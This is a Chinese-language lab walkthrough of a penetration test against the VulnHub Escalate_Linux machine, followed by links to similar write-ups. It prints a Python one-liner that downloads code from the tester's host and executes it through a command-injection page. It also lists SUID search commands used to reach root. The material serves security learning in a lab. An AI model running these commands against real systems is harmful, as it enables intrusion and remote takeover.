记录VulnHub 靶场——Escalate_Linux渗透测试过程

简介: 本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。

0x00 靶场环境搭建

链接:https://pan.baidu.com/s/1Ul1V45tb5g_3FggKWbjA4w

提取码:nz02

下载完成之后导入vmware或者virtualBox,网卡改为nat模式或仅主机模式(方便信息收集)

0x01 靶机信息收集

通过kali linux扫描本网段发现靶机IP地址

Kali Linux:192.168.94.207

靶机IP地址:192.168.94.212

发现靶机IP之后,直接上Nmap扫描!发现靶机开放了80、111、139、445、2049nfs几个端口

访问靶机80端口之后没发现有什么可利用的信息,于是直接上dirsearch搜索到一个shell.php文件

访问shell.php文件发现有一串提示,通过翻译后得知可以将cmd作为GET参数传递

那么由此我们可以上传一个shell进行反弹回来。

0x02 渗透测试

打开msfconsole控制台使用web_delivery漏洞攻击模块

"web_delivery"漏洞通常指的是通过利用Web应用程序中的漏洞来交付恶意软件或者进行攻击。这种类型的漏洞可能会允许攻击者向受害者的计算机或系统交付恶意软件,或者执行恶意代码

查看目标类型,默认为Python类型,所以我们也可以使用传参来查看靶机存不存在Python环境

靶机存在Python环境,那么我们生成Python环境的反弹shell命令,

"SRVHOST" 通常是指在渗透测试或网络安全领域中使用的一个参数或变量,代表服务主机的 IP 地址或主机名。在一些渗透测试工具(比如 Metasploit)或网络安全工具中,可以通过设置 SRVHOST 来指定服务监听的主机地址。

例如,在使用 Metasploit 搭建一个反向 Shell 的时候,你可能需要指定 SRVHOST 参数来告诉 Metasploit 监听连接的主机地址。这样做可以确保服务只接受来自指定主机的连接请求,而不会接受其他主机的连接

这里得将反弹shell的命令进行url编码,然后使用cmd传参靶机才能接收执行此命令!

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.94.207:8080/NmuALiAL7XOs', context=ssl._create_unverified_context());exec(r.read());"

这里我使用burpsuite进行url编码

使用cmd进行传参,返回kali中弹回了一个session,直接连接这个session得到shell

0x03 靶机提权

又到了经典的提权环节了,我们这里可以先使用Python实现交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

这里我们可以了解一个知识点:SUID

SUID(Set User ID)是一种用于提升程序权限的特殊权限位。当一个可执行文件的 SUID 位被设置时,该程序将以文件所有者的权限来执行,而不是执行该程序的用户的权限。

SUID 权限通常用于需要以特定用户权限执行的程序,比如一些系统命令或管理工具。例如,passwd 命令通常具有 SUID 权限,因为它需要修改系统密码文件,这是普通用户无法直接操作的。通过 SUID 权限,普通用户可以执行 passwd 命令来修改自己的密码,而无需获取 root 权限。

然而,SUID 权限也带来了安全风险,因为恶意用户可能会利用具有 SUID 权限的程序来进行特权提升或执行其他恶意操作。因此,系统管理员需要谨慎地管理具有 SUID 权限的程序,并确保它们没有潜在的安全漏洞。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?

1、SUID权限仅对二进制程序(binary program)有效;

2、执行者对于该程序需要具有x的可执行权限;

3、本权限仅在执行该程序的过程中有效(run-time);

4、执行者将具有该程序拥有者(owner)的权限。

以下语句可以用来搜索具备SUID权限的程序

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

find / -user root -perm -4000 -print 2>/dev/null

接下来我们可以使用命令来查找具有suid权限的可执行文件,发现在/home/user3目录存在一个shell,进行此目录查看权限发现存在s标志出现在x权限上面,那么我们可以确定这个文件可以进行提权。

运行此shell执行文件,成功提权到root权限

目录
相关文章
|
4天前
|
安全 Shell 网络安全
基于Vulnhub靶场—DC4渗透测试过程
Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。
30 0
|
4天前
|
iOS开发 MacOS Windows
|
4天前
|
Linux 测试技术 Windows
LabVIEW对NI Linux RT应用程序性能进行基准测试
LabVIEW对NI Linux RT应用程序性能进行基准测试
|
4天前
|
消息中间件 测试技术 Linux
linux实时操作系统xenomai x86平台基准测试(benchmark)
本文是关于Xenomai实时操作系统的基准测试,旨在评估其在低端x86平台上的性能。测试模仿了VxWorks的方法,关注CPU结构、指令集等因素对系统服务耗时的影响。测试项目包括信号量、互斥量、消息队列、任务切换等,通过比较操作前后的时戳来测量耗时,并排除中断和上下文切换的干扰。测试结果显示了各项操作的最小、平均和最大耗时,为程序优化提供参考。注意,所有数据基于特定硬件环境,测试用例使用Alchemy API编写。
39 0
linux实时操作系统xenomai x86平台基准测试(benchmark)
|
4天前
|
安全 网络安全 数据安全/隐私保护
VulnHub 靶场--super-Mario-Host超级马里奥主机渗透测试过程
这篇文章描述了在一个网络安全靶场环境中进行渗透测试的过程。首先,从百度网盘下载并导入虚拟机镜像,然后将其网络设置为NAT或仅主机模式。接下来,通过扫描靶机IP地址的本地网络段,发现靶机IP为192.168.220.135,并且了解到靶机上有一个名为“mario.supermariohost.local”的Web服务,运行在8180端口。尝试SSH弱口令攻击失败后,通过信息收集找到一个名为“luigi.php”的页面,其中包含一段英文提示,提示需要将域名添加到hosts文件中。 通过cewl工具从luigi.php生成字典文件passwords,然后使用hydra工具尝试SSH登录,成功获得l
18 0
|
4天前
|
Shell Linux 网络安全
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
12 0
|
8月前
|
安全 Linux 测试技术
如何使用Kali Linux进行渗透测试?
如何使用Kali Linux进行渗透测试?
280 0
|
4天前
|
网络协议 网络安全 Go
Kali下安装渗透测试常用工具dnsx和dirsearch
Kali下安装渗透测试常用工具dnsx和dirsearch
125 0
|
4天前
|
安全 Linux 测试技术
深入Kali Linux:高级渗透测试技术详解
深入Kali Linux:高级渗透测试技术详解
205 0
|
前端开发 Linux 网络安全
kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示: ? 因此,通过这个结果可以表明csdn上的端口开放了80端口以及443端口吗,这两个端口都十分重要,因为80端口适用于给用户呈现出数据,给用户看网站用的,443端口也是一个比较重要的端口。
2190 0
http://www.vxiaotou.com